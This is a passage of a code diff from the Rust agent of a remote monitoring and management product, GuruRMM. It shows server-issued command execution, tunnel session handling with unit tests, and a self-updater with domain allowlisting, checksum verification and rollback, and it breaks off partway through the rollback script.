match msg {
|
||||
ServerMessage::Command(cmd) => {
|
||||
info!("Received command: {:?} (id: {})", cmd.command_type, cmd.id);
|
||||
Self::execute_command(cmd, tx.clone()).await;
|
||||
}
|
||||
ServerMessage::ConfigUpdate(update) => {
|
||||
info!("Received config update: {:?}", update);
|
||||
// Config updates will be handled in a future phase
|
||||
}
|
||||
ServerMessage::Ack { message_id } => {
|
||||
debug!("Received ack for message: {:?}", message_id);
|
||||
}
|
||||
ServerMessage::AuthAck(_) => {
|
||||
// Already handled during initial auth
|
||||
}
|
||||
ServerMessage::Error { code, message } => {
|
||||
error!("Server error: {} - {}", code, message);
|
||||
}
|
||||
ServerMessage::Update(payload) => {
|
||||
info!(
|
||||
"Received update command: {} -> {} (id: {})",
|
||||
env!("CARGO_PKG_VERSION"),
|
||||
payload.target_version,
|
||||
payload.update_id
|
||||
);
|
||||
Self::handle_update(payload, tx.clone()).await;
|
||||
}
|
||||
ServerMessage::TunnelOpen { session_id, tech_id } => {
|
||||
info!(
|
||||
"Received tunnel open request: session={}, tech={}",
|
||||
session_id, tech_id
|
||||
);
|
||||
Self::handle_tunnel_open(session_id, tech_id, tunnel_manager, tx.clone()).await;
|
||||
}
|
||||
ServerMessage::TunnelClose { session_id } => {
|
||||
info!("Received tunnel close request: session={}", session_id);
|
||||
Self::handle_tunnel_close(session_id, tunnel_manager, tx.clone()).await;
|
||||
}
|
||||
ServerMessage::TunnelData { channel_id, data } => {
|
||||
debug!("Received tunnel data on channel: {}", channel_id);
|
||||
Self::handle_tunnel_data(channel_id, data, tunnel_manager, tx.clone()).await;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Handle tunnel open request
|
||||
async fn handle_tunnel_open(
|
||||
session_id: String,
|
||||
tech_id: uuid::Uuid,
|
||||
tunnel_manager: &mut TunnelManager,
|
||||
tx: mpsc::Sender<AgentMessage>,
|
||||
) {
|
||||
match tunnel_manager.open_tunnel(session_id.clone(), tech_id) {
|
||||
Ok(_) => {
|
||||
info!("Tunnel opened successfully: {}", session_id);
|
||||
// Send TunnelReady confirmation
|
||||
let ready_msg = AgentMessage::TunnelReady {
|
||||
session_id: session_id.clone(),
|
||||
};
|
||||
if let Err(e) = tx.send(ready_msg).await {
|
||||
error!("Failed to send TunnelReady message: {}", e);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
error!("Failed to open tunnel: {}", e);
|
||||
// Send error back to server
|
||||
let error_msg = AgentMessage::TunnelError {
|
||||
channel_id: "system".to_string(),
|
||||
error: format!("Failed to open tunnel: {}", e),
|
||||
};
|
||||
let _ = tx.send(error_msg).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Handle tunnel close request
|
||||
async fn handle_tunnel_close(
|
||||
session_id: String,
|
||||
tunnel_manager: &mut TunnelManager,
|
||||
tx: mpsc::Sender<AgentMessage>,
|
||||
) {
|
||||
match tunnel_manager.close_tunnel(&session_id) {
|
||||
Ok(_) => {
|
||||
info!("Tunnel closed successfully: {}", session_id);
|
||||
}
|
||||
Err(e) => {
|
||||
warn!("Error closing tunnel: {}", e);
|
||||
// Send error back to server
|
||||
let error_msg = AgentMessage::TunnelError {
|
||||
channel_id: "system".to_string(),
|
||||
error: format!("Failed to close tunnel: {}", e),
|
||||
};
|
||||
let _ = tx.send(error_msg).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Handle tunnel data (Phase 1: Terminal commands only)
|
||||
async fn handle_tunnel_data(
|
||||
channel_id: String,
|
||||
data: TunnelDataPayload,
|
||||
_tunnel_manager: &TunnelManager,
|
||||
tx: mpsc::Sender<AgentMessage>,
|
||||
) {
|
||||
match data {
|
||||
TunnelDataPayload::Terminal { command } => {
|
||||
info!("Terminal command on channel {}: {}", channel_id, command);
|
||||
// Phase 1: Just log and respond with placeholder
|
||||
// Phase 2 will implement actual command execution
|
||||
let response = AgentMessage::TunnelData {
|
||||
channel_id,
|
||||
data: TunnelDataPayload::TerminalOutput {
|
||||
stdout: String::new(),
|
||||
stderr: "Terminal execution not yet implemented (Phase 2)".to_string(),
|
||||
exit_code: Some(-1),
|
||||
},
|
||||
};
|
||||
let _ = tx.send(response).await;
|
||||
}
|
||||
TunnelDataPayload::TerminalOutput { .. } => {
|
||||
// This shouldn't be sent to the agent, it's agent → server only
|
||||
warn!("Received TerminalOutput on agent (unexpected)");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Handle an update command from the server
|
||||
async fn handle_update(payload: UpdatePayload, tx: mpsc::Sender<AgentMessage>) {
|
||||
// Send starting status
|
||||
let starting_result = UpdateResultPayload {
|
||||
update_id: payload.update_id,
|
||||
status: UpdateStatus::Starting,
|
||||
old_version: env!("CARGO_PKG_VERSION").to_string(),
|
||||
new_version: None,
|
||||
error: None,
|
||||
};
|
||||
let _ = tx.send(AgentMessage::UpdateResult(starting_result)).await;
|
||||
|
||||
// Spawn update in background (it will restart the service)
|
||||
tokio::spawn(async move {
|
||||
let config = UpdaterConfig::default();
|
||||
let updater = AgentUpdater::new(config);
|
||||
let result = updater.perform_update(payload).await;
|
||||
|
||||
// If we reach here, the update failed (successful update restarts the process)
|
||||
let _ = tx.send(AgentMessage::UpdateResult(result)).await;
|
||||
});
|
||||
}
|
||||
|
||||
/// Get the current architecture
|
||||
fn get_architecture() -> &'static str {
|
||||
#[cfg(target_arch = "x86_64")]
|
||||
{ "amd64" }
|
||||
#[cfg(target_arch = "aarch64")]
|
||||
{ "arm64" }
|
||||
#[cfg(target_arch = "x86")]
|
||||
{ "386" }
|
||||
#[cfg(target_arch = "arm")]
|
||||
{ "arm" }
|
||||
#[cfg(not(any(target_arch = "x86_64", target_arch = "aarch64", target_arch = "x86", target_arch = "arm")))]
|
||||
{ "unknown" }
|
||||
}
|
||||
|
||||
/// Execute a command received from the server
|
||||
async fn execute_command(cmd: CommandPayload, tx: mpsc::Sender<AgentMessage>) {
|
||||
let command_id = cmd.id;
|
||||
|
||||
// Spawn command execution in background
|
||||
tokio::spawn(async move {
|
||||
let start = std::time::Instant::now();
|
||||
|
||||
let result = Self::run_command(&cmd).await;
|
||||
let duration_ms = start.elapsed().as_millis() as u64;
|
||||
|
||||
let (exit_code, stdout, stderr) = match result {
|
||||
Ok((code, out, err)) => (code, out, err),
|
||||
Err(e) => (-1, String::new(), format!("Execution error: {}", e)),
|
||||
};
|
||||
|
||||
let result_msg = AgentMessage::CommandResult(super::CommandResultPayload {
|
||||
command_id,
|
||||
exit_code,
|
||||
stdout,
|
||||
stderr,
|
||||
duration_ms,
|
||||
});
|
||||
|
||||
if tx.send(result_msg).await.is_err() {
|
||||
error!("Failed to send command result");
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/// Run a command and capture output
|
||||
async fn run_command(cmd: &CommandPayload) -> Result<(i32, String, String)> {
|
||||
use tokio::process::Command;
|
||||
|
||||
let timeout_secs = cmd.timeout_seconds.unwrap_or(300); // 5 minute default
|
||||
|
||||
match &cmd.command_type {
|
||||
super::CommandType::ClaudeTask {
|
||||
task,
|
||||
working_directory,
|
||||
context_files,
|
||||
} => {
|
||||
// Handle Claude Code task
|
||||
info!("Executing Claude Code task: {}", task);
|
||||
|
||||
let claude_cmd = ClaudeTaskCommand {
|
||||
task: task.clone(),
|
||||
working_directory: working_directory.clone(),
|
||||
timeout: Some(timeout_secs),
|
||||
context_files: context_files.clone(),
|
||||
};
|
||||
|
||||
match CLAUDE_EXECUTOR.execute_task(claude_cmd).await {
|
||||
Ok(result) => {
|
||||
let exit_code = match result.status {
|
||||
crate::claude::TaskStatus::Completed => 0,
|
||||
crate::claude::TaskStatus::Failed => 1,
|
||||
crate::claude::TaskStatus::Timeout => 124,
|
||||
};
|
||||
|
||||
let stdout = result.output.unwrap_or_default();
|
||||
let stderr = result.error.unwrap_or_default();
|
||||
|
||||
Ok((exit_code, stdout, stderr))
|
||||
}
|
||||
Err(e) => {
|
||||
error!("Claude task execution error: {}", e);
|
||||
Ok((-1, String::new(), e))
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => {
|
||||
// Handle regular commands
|
||||
let mut command = match &cmd.command_type {
|
||||
super::CommandType::Shell => {
|
||||
#[cfg(windows)]
|
||||
{
|
||||
let mut c = Command::new("cmd");
|
||||
c.args(["/C", &cmd.command]);
|
||||
c
|
||||
}
|
||||
#[cfg(unix)]
|
||||
{
|
||||
let mut c = Command::new("sh");
|
||||
c.args(["-c", &cmd.command]);
|
||||
c
|
||||
}
|
||||
}
|
||||
super::CommandType::PowerShell => {
|
||||
let mut c = Command::new("powershell");
|
||||
c.args(["-NoProfile", "-NonInteractive", "-Command", &cmd.command]);
|
||||
c
|
||||
}
|
||||
super::CommandType::Python => {
|
||||
let mut c = Command::new("python");
|
||||
c.args(["-c", &cmd.command]);
|
||||
c
|
||||
}
|
||||
super::CommandType::Script { interpreter } => {
|
||||
let mut c = Command::new(interpreter);
|
||||
c.args(["-c", &cmd.command]);
|
||||
c
|
||||
}
|
||||
super::CommandType::ClaudeTask { .. } => {
|
||||
unreachable!("ClaudeTask already handled above")
|
||||
}
|
||||
};
|
||||
|
||||
// Capture output
|
||||
command.stdout(std::process::Stdio::piped());
|
||||
command.stderr(std::process::Stdio::piped());
|
||||
|
||||
// Execute with timeout
|
||||
let output = timeout(Duration::from_secs(timeout_secs), command.output())
|
||||
.await
|
||||
.context("Command timeout")?
|
||||
.context("Failed to execute command")?;
|
||||
|
||||
let exit_code = output.status.code().unwrap_or(-1);
|
||||
let stdout = String::from_utf8_lossy(&output.stdout).to_string();
|
||||
let stderr = String::from_utf8_lossy(&output.stderr).to_string();
|
||||
|
||||
Ok((exit_code, stdout, stderr))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,276 +0,0 @@
|
||||
//! Tunnel management for real-time remote access
|
||||
//!
|
||||
//! This module handles the agent's tunnel mode, which enables:
|
||||
//! - Interactive terminal access
|
||||
//! - File operations (Phase 2+)
|
||||
//! - Registry operations (Phase 2+)
|
||||
//! - Service management (Phase 2+)
|
||||
//!
|
||||
//! The agent operates in two modes:
|
||||
//! - Heartbeat mode: Default, sends periodic heartbeats and metrics
|
||||
//! - Tunnel mode: Active session with a tech, handles real-time commands
|
||||
|
||||
use std::collections::HashMap;
|
||||
use tracing::{debug, info, warn};
|
||||
use uuid::Uuid;
|
||||
|
||||
/// Agent operational mode
|
||||
#[derive(Debug, Clone)]
|
||||
pub enum AgentMode {
|
||||
/// Default mode: periodic heartbeats and metrics
|
||||
Heartbeat,
|
||||
|
||||
/// Tunnel mode: active session with tech
|
||||
Tunnel {
|
||||
/// Unique session identifier
|
||||
session_id: String,
|
||||
/// Tech who opened the session
|
||||
tech_id: Uuid,
|
||||
/// Active channels (channel_id → channel type)
|
||||
channels: HashMap<String, ChannelType>,
|
||||
},
|
||||
}
|
||||
|
||||
impl AgentMode {
|
||||
/// Check if agent is in tunnel mode
|
||||
pub fn is_tunnel(&self) -> bool {
|
||||
matches!(self, AgentMode::Tunnel { .. })
|
||||
}
|
||||
|
||||
/// Get session ID if in tunnel mode
|
||||
pub fn session_id(&self) -> Option<&str> {
|
||||
match self {
|
||||
AgentMode::Tunnel { session_id, .. } => Some(session_id),
|
||||
AgentMode::Heartbeat => None,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Type of tunnel channel
|
||||
#[derive(Debug, Clone)]
|
||||
pub enum ChannelType {
|
||||
/// Terminal/command execution channel
|
||||
Terminal,
|
||||
/// File operation channel (Phase 2+)
|
||||
File,
|
||||
/// Registry operation channel (Phase 2+)
|
||||
Registry,
|
||||
/// Service management channel (Phase 2+)
|
||||
Service,
|
||||
}
|
||||
|
||||
/// Tunnel manager for handling tunnel state and operations
|
||||
pub struct TunnelManager {
|
||||
/// Current agent mode
|
||||
mode: AgentMode,
|
||||
}
|
||||
|
||||
impl TunnelManager {
|
||||
/// Create a new tunnel manager in heartbeat mode
|
||||
pub fn new() -> Self {
|
||||
Self {
|
||||
mode: AgentMode::Heartbeat,
|
||||
}
|
||||
}
|
||||
|
||||
/// Get current mode
|
||||
pub fn mode(&self) -> &AgentMode {
|
||||
&self.mode
|
||||
}
|
||||
|
||||
/// Open a tunnel session
|
||||
///
|
||||
/// Transitions from Heartbeat mode to Tunnel mode.
|
||||
/// Returns error if already in tunnel mode.
|
||||
pub fn open_tunnel(&mut self, session_id: String, tech_id: Uuid) -> Result<(), String> {
|
||||
match &self.mode {
|
||||
AgentMode::Heartbeat => {
|
||||
info!(
|
||||
"Opening tunnel session: {} (tech: {})",
|
||||
session_id, tech_id
|
||||
);
|
||||
self.mode = AgentMode::Tunnel {
|
||||
session_id,
|
||||
tech_id,
|
||||
channels: HashMap::new(),
|
||||
};
|
||||
Ok(())
|
||||
}
|
||||
AgentMode::Tunnel {
|
||||
session_id: existing_session,
|
||||
..
|
||||
} => {
|
||||
warn!(
|
||||
"Tunnel open rejected: session {} already active",
|
||||
existing_session
|
||||
);
|
||||
Err(format!(
|
||||
"Tunnel session {} already active",
|
||||
existing_session
|
||||
))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Close the tunnel session
|
||||
///
|
||||
/// Transitions from Tunnel mode back to Heartbeat mode.
|
||||
/// Cleans up all active channels.
|
||||
pub fn close_tunnel(&mut self, session_id: &str) -> Result<(), String> {
|
||||
match &self.mode {
|
||||
AgentMode::Tunnel {
|
||||
session_id: current_session,
|
||||
channels,
|
||||
..
|
||||
} => {
|
||||
if current_session != session_id {
|
||||
return Err(format!(
|
||||
"Session ID mismatch: expected {}, got {}",
|
||||
current_session, session_id
|
||||
));
|
||||
}
|
||||
|
||||
info!(
|
||||
"Closing tunnel session: {} ({} channels active)",
|
||||
session_id,
|
||||
channels.len()
|
||||
);
|
||||
|
||||
// Transition back to heartbeat mode
|
||||
self.mode = AgentMode::Heartbeat;
|
||||
Ok(())
|
||||
}
|
||||
AgentMode::Heartbeat => {
|
||||
warn!("Tunnel close ignored: no active session");
|
||||
Err("No active tunnel session".to_string())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Add a channel to the active tunnel session
|
||||
pub fn add_channel(&mut self, channel_id: String, channel_type: ChannelType) -> Result<(), String> {
|
||||
match &mut self.mode {
|
||||
AgentMode::Tunnel { channels, .. } => {
|
||||
debug!(
|
||||
"Adding channel {} ({:?}) to tunnel",
|
||||
channel_id, channel_type
|
||||
);
|
||||
channels.insert(channel_id, channel_type);
|
||||
Ok(())
|
||||
}
|
||||
AgentMode::Heartbeat => Err("No active tunnel session".to_string()),
|
||||
}
|
||||
}
|
||||
|
||||
/// Remove a channel from the active tunnel session
|
||||
pub fn remove_channel(&mut self, channel_id: &str) -> Result<(), String> {
|
||||
match &mut self.mode {
|
||||
AgentMode::Tunnel { channels, .. } => {
|
||||
if channels.remove(channel_id).is_some() {
|
||||
debug!("Removed channel {} from tunnel", channel_id);
|
||||
Ok(())
|
||||
} else {
|
||||
Err(format!("Channel {} not found", channel_id))
|
||||
}
|
||||
}
|
||||
AgentMode::Heartbeat => Err("No active tunnel session".to_string()),
|
||||
}
|
||||
}
|
||||
|
||||
/// Get the type of a channel
|
||||
pub fn get_channel_type(&self, channel_id: &str) -> Option<&ChannelType> {
|
||||
match &self.mode {
|
||||
AgentMode::Tunnel { channels, .. } => channels.get(channel_id),
|
||||
AgentMode::Heartbeat => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Force close tunnel (e.g., on disconnect)
|
||||
///
|
||||
/// Used during cleanup when connection is lost.
|
||||
pub fn force_close(&mut self) {
|
||||
if let AgentMode::Tunnel { session_id, .. } = &self.mode {
|
||||
info!("Force closing tunnel session: {}", session_id);
|
||||
self.mode = AgentMode::Heartbeat;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl Default for TunnelManager {
|
||||
fn default() -> Self {
|
||||
Self::new()
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_tunnel_lifecycle() {
|
||||
let mut manager = TunnelManager::new();
|
||||
|
||||
// Start in heartbeat mode
|
||||
assert!(matches!(manager.mode(), AgentMode::Heartbeat));
|
||||
assert!(!manager.mode().is_tunnel());
|
||||
|
||||
// Open tunnel
|
||||
let session_id = "test-session-123".to_string();
|
||||
let tech_id = Uuid::new_v4();
|
||||
assert!(manager.open_tunnel(session_id.clone(), tech_id).is_ok());
|
||||
assert!(manager.mode().is_tunnel());
|
||||
assert_eq!(manager.mode().session_id(), Some(session_id.as_str()));
|
||||
|
||||
// Can't open another tunnel
|
||||
assert!(manager
|
||||
.open_tunnel("another-session".to_string(), tech_id)
|
||||
.is_err());
|
||||
|
||||
// Add channel
|
||||
assert!(manager
|
||||
.add_channel("channel-1".to_string(), ChannelType::Terminal)
|
||||
.is_ok());
|
||||
|
||||
// Close tunnel
|
||||
assert!(manager.close_tunnel(&session_id).is_ok());
|
||||
assert!(matches!(manager.mode(), AgentMode::Heartbeat));
|
||||
assert!(!manager.mode().is_tunnel());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_channel_management() {
|
||||
let mut manager = TunnelManager::new();
|
||||
let session_id = "test-session".to_string();
|
||||
let tech_id = Uuid::new_v4();
|
||||
|
||||
// Can't add channel without tunnel
|
||||
assert!(manager
|
||||
.add_channel("channel-1".to_string(), ChannelType::Terminal)
|
||||
.is_err());
|
||||
|
||||
// Open tunnel
|
||||
manager.open_tunnel(session_id.clone(), tech_id).unwrap();
|
||||
|
||||
// Add channels
|
||||
manager
|
||||
.add_channel("channel-1".to_string(), ChannelType::Terminal)
|
||||
.unwrap();
|
||||
manager
|
||||
.add_channel("channel-2".to_string(), ChannelType::File)
|
||||
.unwrap();
|
||||
|
||||
// Get channel type
|
||||
assert!(matches!(
|
||||
manager.get_channel_type("channel-1"),
|
||||
Some(ChannelType::Terminal)
|
||||
));
|
||||
|
||||
// Remove channel
|
||||
assert!(manager.remove_channel("channel-1").is_ok());
|
||||
assert!(manager.get_channel_type("channel-1").is_none());
|
||||
|
||||
// Force close
|
||||
manager.force_close();
|
||||
assert!(matches!(manager.mode(), AgentMode::Heartbeat));
|
||||
}
|
||||
}
|
||||
@@ -1,688 +0,0 @@
|
||||
//! Agent self-update module
|
||||
//!
|
||||
//! Handles downloading, verifying, and installing agent updates.
|
||||
//! Features:
|
||||
//! - Download new binary via HTTPS
|
||||
//! - SHA256 checksum verification
|
||||
//! - Atomic binary replacement
|
||||
//! - Auto-rollback if agent fails to restart
|
||||
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use sha2::{Sha256, Digest};
|
||||
use tokio::fs;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tracing::{debug, error, info, warn};
|
||||
use uuid::Uuid;
|
||||
|
||||
use crate::transport::{UpdatePayload, UpdateResultPayload, UpdateStatus};
|
||||
|
||||
/// Configuration for the updater
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct UpdaterConfig {
|
||||
/// Path to the current agent binary
|
||||
pub binary_path: PathBuf,
|
||||
/// Directory for config and backup files
|
||||
pub config_dir: PathBuf,
|
||||
/// Rollback timeout in seconds
|
||||
pub rollback_timeout_secs: u64,
|
||||
}
|
||||
|
||||
impl Default for UpdaterConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
binary_path: Self::detect_binary_path(),
|
||||
config_dir: Self::detect_config_dir(),
|
||||
rollback_timeout_secs: 180,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl UpdaterConfig {
|
||||
/// Detect the path to the currently running binary
|
||||
fn detect_binary_path() -> PathBuf {
|
||||
std::env::current_exe().unwrap_or_else(|_| {
|
||||
#[cfg(windows)]
|
||||
{ PathBuf::from(r"C:\Program Files\GuruRMM\gururmm-agent.exe") }
|
||||
#[cfg(not(windows))]
|
||||
{ PathBuf::from("/usr/local/bin/gururmm-agent") }
|
||||
})
|
||||
}
|
||||
|
||||
/// Detect the config directory
|
||||
fn detect_config_dir() -> PathBuf {
|
||||
#[cfg(windows)]
|
||||
{ PathBuf::from(r"C:\ProgramData\GuruRMM") }
|
||||
#[cfg(not(windows))]
|
||||
{ PathBuf::from("/etc/gururmm") }
|
||||
}
|
||||
|
||||
/// Get the backup binary path
|
||||
pub fn backup_path(&self) -> PathBuf {
|
||||
self.config_dir.join("gururmm-agent.backup")
|
||||
}
|
||||
|
||||
/// Get the pending update info path (stores update_id for reconnection)
|
||||
pub fn pending_update_path(&self) -> PathBuf {
|
||||
self.config_dir.join("pending-update.json")
|
||||
}
|
||||
}
|
||||
|
||||
/// Pending update information (persisted to disk before restart)
|
||||
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
|
||||
pub struct PendingUpdateInfo {
|
||||
pub update_id: Uuid,
|
||||
pub old_version: String,
|
||||
pub target_version: String,
|
||||
}
|
||||
|
||||
/// Agent updater
|
||||
pub struct AgentUpdater {
|
||||
config: UpdaterConfig,
|
||||
http_client: reqwest::Client,
|
||||
}
|
||||
|
||||
impl AgentUpdater {
|
||||
/// Create a new updater
|
||||
pub fn new(config: UpdaterConfig) -> Self {
|
||||
let http_client = reqwest::Client::builder()
|
||||
.timeout(std::time::Duration::from_secs(300))
|
||||
.build()
|
||||
.expect("Failed to create HTTP client");
|
||||
|
||||
Self { config, http_client }
|
||||
}
|
||||
|
||||
/// Perform an update
|
||||
///
|
||||
/// Returns UpdateResultPayload to send back to server
|
||||
pub async fn perform_update(&self, payload: UpdatePayload) -> UpdateResultPayload {
|
||||
let old_version = env!("CARGO_PKG_VERSION").to_string();
|
||||
|
||||
info!(
|
||||
"Starting update: {} -> {} (update_id: {})",
|
||||
old_version, payload.target_version, payload.update_id
|
||||
);
|
||||
|
||||
match self.do_update(&payload, &old_version).await {
|
||||
Ok(()) => {
|
||||
// If we get here, something went wrong - we should have restarted
|
||||
// This means the update completed but restart failed
|
||||
error!("Update installed but restart failed - performing rollback");
|
||||
|
||||
if let Err(e) = self.rollback_binary().await {
|
||||
error!("Rollback also failed: {}", e);
|
||||
UpdateResultPayload {
|
||||
update_id: payload.update_id,
|
||||
status: UpdateStatus::Failed,
|
||||
old_version,
|
||||
new_version: None,
|
||||
error: Some(format!("Update installed but restart failed. Rollback also failed: {}", e)),
|
||||
}
|
||||
} else {
|
||||
UpdateResultPayload {
|
||||
update_id: payload.update_id,
|
||||
status: UpdateStatus::RolledBack,
|
||||
old_version,
|
||||
new_version: None,
|
||||
error: Some("Update installed but restart failed, successfully rolled back".into()),
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
error!("Update failed: {}", e);
|
||||
UpdateResultPayload {
|
||||
update_id: payload.update_id,
|
||||
status: UpdateStatus::Failed,
|
||||
old_version,
|
||||
new_version: None,
|
||||
error: Some(e.to_string()),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Internal update implementation
|
||||
async fn do_update(&self, payload: &UpdatePayload, old_version: &str) -> Result<()> {
|
||||
// Step 1: Download to temp file
|
||||
info!("Downloading new binary from {}", payload.download_url);
|
||||
let temp_path = self.download_binary(&payload.download_url).await
|
||||
.context("Failed to download binary")?;
|
||||
|
||||
// Step 2: Verify checksum
|
||||
info!("Verifying checksum...");
|
||||
self.verify_checksum(&temp_path, &payload.checksum_sha256).await
|
||||
.context("Checksum verification failed")?;
|
||||
info!("Checksum verified");
|
||||
|
||||
// Step 3: Backup current binary
|
||||
info!("Backing up current binary...");
|
||||
self.backup_current_binary().await
|
||||
.context("Failed to backup current binary")?;
|
||||
|
||||
// Step 4: Save pending update info (for reconnection after restart)
|
||||
info!("Saving pending update info...");
|
||||
self.save_pending_update(PendingUpdateInfo {
|
||||
update_id: payload.update_id,
|
||||
old_version: old_version.to_string(),
|
||||
target_version: payload.target_version.clone(),
|
||||
}).await
|
||||
.context("Failed to save pending update info")?;
|
||||
|
||||
// Step 5: Create rollback watchdog
|
||||
info!("Creating rollback watchdog...");
|
||||
self.create_rollback_watchdog().await
|
||||
.context("Failed to create rollback watchdog")?;
|
||||
|
||||
// Step 6: Replace binary
|
||||
info!("Replacing binary...");
|
||||
self.replace_binary(&temp_path).await
|
||||
.context("Failed to replace binary")?;
|
||||
|
||||
// Step 7: Restart service
|
||||
info!("Restarting service...");
|
||||
self.restart_service().await
|
||||
.context("Failed to restart service")?;
|
||||
|
||||
// We should never reach here - the restart should terminate this process
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Download the new binary to a temp file
|
||||
///
|
||||
/// Security: Validates URL against allowed domains and requires HTTPS for external hosts
|
||||
async fn download_binary(&self, url: &str) -> Result<PathBuf> {
|
||||
// Validate URL is from trusted domain
|
||||
let allowed_domains = [
|
||||
"rmm-api.azcomputerguru.com",
|
||||
"downloads.azcomputerguru.com",
|
||||
"172.16.3.30", // Internal server
|
||||
];
|
||||
|
||||
let parsed_url = url::Url::parse(url)
|
||||
.context("Invalid download URL")?;
|
||||
|
||||
let host = parsed_url.host_str()
|
||||
.ok_or_else(|| anyhow::anyhow!("No host in download URL"))?;
|
||||
|
||||
if !allowed_domains.iter().any(|d| host == *d || host.ends_with(&format!(".{}", d))) {
|
||||
return Err(anyhow::anyhow!(
|
||||
"Download URL host '{}' not in allowed domains",
|
||||
host
|
||||
));
|
||||
}
|
||||
|
||||
// Require HTTPS (except for local/internal IPs)
|
||||
if parsed_url.scheme() != "https" && !host.starts_with("172.16.") && !host.starts_with("192.168.") {
|
||||
return Err(anyhow::anyhow!("Download URL must use HTTPS"));
|
||||
}
|
||||
|
||||
info!("[OK] URL validation passed: {}", url);
|
||||
|
||||
let response = self.http_client.get(url)
|
||||
.send()
|
||||
.await
|
||||
.context("HTTP request failed")?;
|
||||
|
||||
if !response.status().is_success() {
|
||||
anyhow::bail!("Download failed with status: {}", response.status());
|
||||
}
|
||||
|
||||
let temp_path = std::env::temp_dir().join(format!("gururmm-update-{}", Uuid::new_v4()));
|
||||
let mut file = fs::File::create(&temp_path).await
|
||||
.context("Failed to create temp file")?;
|
||||
|
||||
let bytes = response.bytes().await
|
||||
.context("Failed to read response body")?;
|
||||
|
||||
file.write_all(&bytes).await
|
||||
.context("Failed to write to temp file")?;
|
||||
file.flush().await?;
|
||||
|
||||
debug!("Downloaded {} bytes to {:?}", bytes.len(), temp_path);
|
||||
Ok(temp_path)
|
||||
}
|
||||
|
||||
/// Verify SHA256 checksum of downloaded file
|
||||
async fn verify_checksum(&self, path: &Path, expected: &str) -> Result<()> {
|
||||
let bytes = fs::read(path).await
|
||||
.context("Failed to read file for checksum")?;
|
||||
|
||||
let mut hasher = Sha256::new();
|
||||
hasher.update(&bytes);
|
||||
let actual = format!("{:x}", hasher.finalize());
|
||||
|
||||
if actual.to_lowercase() != expected.to_lowercase() {
|
||||
anyhow::bail!(
|
||||
"Checksum mismatch: expected {}, got {}",
|
||||
expected.to_lowercase(),
|
||||
actual.to_lowercase()
|
||||
);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Backup the current binary
|
||||
async fn backup_current_binary(&self) -> Result<()> {
|
||||
let backup_path = self.config.backup_path();
|
||||
|
||||
// Ensure config directory exists
|
||||
if let Some(parent) = backup_path.parent() {
|
||||
fs::create_dir_all(parent).await.ok();
|
||||
}
|
||||
|
||||
// Copy current binary to backup location
|
||||
fs::copy(&self.config.binary_path, &backup_path).await
|
||||
.context("Failed to copy binary to backup")?;
|
||||
|
||||
debug!("Backed up to {:?}", backup_path);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Save pending update info to disk
|
||||
async fn save_pending_update(&self, info: PendingUpdateInfo) -> Result<()> {
|
||||
let path = self.config.pending_update_path();
|
||||
let json = serde_json::to_string(&info)?;
|
||||
fs::write(&path, json).await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Load pending update info from disk (called on startup)
|
||||
pub async fn load_pending_update(config: &UpdaterConfig) -> Option<PendingUpdateInfo> {
|
||||
let path = config.pending_update_path();
|
||||
if let Ok(json) = fs::read_to_string(&path).await {
|
||||
if let Ok(info) = serde_json::from_str(&json) {
|
||||
// Clear the file after loading
|
||||
let _ = fs::remove_file(&path).await;
|
||||
return Some(info);
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Create a rollback watchdog that will restore the backup if agent fails to start
|
||||
async fn create_rollback_watchdog(&self) -> Result<()> {
|
||||
#[cfg(unix)]
|
||||
self.create_unix_rollback_watchdog().await?;
|
||||
|
||||
#[cfg(windows)]
|
||||
self.create_windows_rollback_watchdog().await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
async fn create_unix_rollback_watchdog(&self) -> Result<()> {
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
|
||||
let backup_path = self.config.backup_path();
|
||||
let binary_path = &self.config.binary_path;
|
||||
let timeout = self.config.rollback_timeout_secs;
|
||||
|
||||
// Use secure directory instead of /tmp/ (world-writable)
|
||||
let script_dir = PathBuf::from("/var/run/gururmm");
|
||||
|
||||
// Create directory if needed with restricted permissions (owner only)
|
||||
if !script_dir.exists() {
|
||||
tokio::fs::create_dir_all(&script_dir).await
|
||||
.context("Failed to create secure script directory")?;
|
||||
std::fs::set_permissions(&script_dir, std::fs::Permissions::from_mode(0o700))
|
||||
.context("Failed to set script directory permissions")?;
|
||||
}
|
||||
|
||||
// Use UUID in filename to prevent predictable paths
|
||||
let script_path = script_dir.join(format!("rollback-{}.sh", Uuid::new_v4()));
|
||||
|
||||
let script = format!(r#"#!/bin/bash
|
||||
# GuruRMM Rollback Watchdog
|
||||
# Auto-generated - will be deleted after successful update
|
